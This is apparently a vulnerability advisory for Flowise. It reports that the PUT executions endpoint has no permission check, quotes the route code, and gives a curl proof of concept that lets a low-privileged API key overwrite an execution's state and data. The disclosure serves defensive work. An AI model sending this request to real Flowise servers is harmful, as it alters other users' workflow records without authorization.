Flowise: Missing Authorization on Execution Update Endpoint
# Flowise Security Audit Report
Date: 2026-03-17
Researcher: Dimpal Jadhav ([email protected])
GitHub: https://github.com/Dimpyj1604
Target: FlowiseAI/Flowise (latest main branch)
Version: [email protected]
Severity: HIGH (CVSS ~7.5)
Type: CWE-862 (Missing Authorization)
File: packages/server/src/routes/executions/index.ts:11
Description: The PUT /api/v1/executions/:id endpoint lacks the checkAnyPermission() middleware that protects all other execution endpoints (GET, DELETE). Any authenticated user — regardless of their assigned permissions — can modify any execution record.
Evidence:
```typescript
// Line 7 - GET has permission check
router.get('/', checkAnyPermission('executions:view'), executionController.getAllExecutions)
// Line 11 - PUT has NO permission check
router.put(['/', '/:id'], executionController.updateExecution) // <-- MISSING checkAnyPermission
// Line 14 - DELETE has permission checkadvisory_1_execution_auth_bypass
router.delete('/:id', checkAnyPermission('executions:delete'), executionController.deleteExecutions)
```
Impact: Privilege escalation. A low-privileged user with any valid API key can modify execution state, data, and metadata of any execution in their workspace. Could be used to manipulate workflow execution results or inject data.
Reproduction:
```bash
curl -X PUT https://TARGET/api/v1/executions/EXECUTION_ID \
-H "Authorization: Bearer LOW_PRIV_API_KEY" \
-H "Content-Type: application/json" \
-d '{"state": "FINISHED", "data": "MANIPULATED"}'
```
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability none.
The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
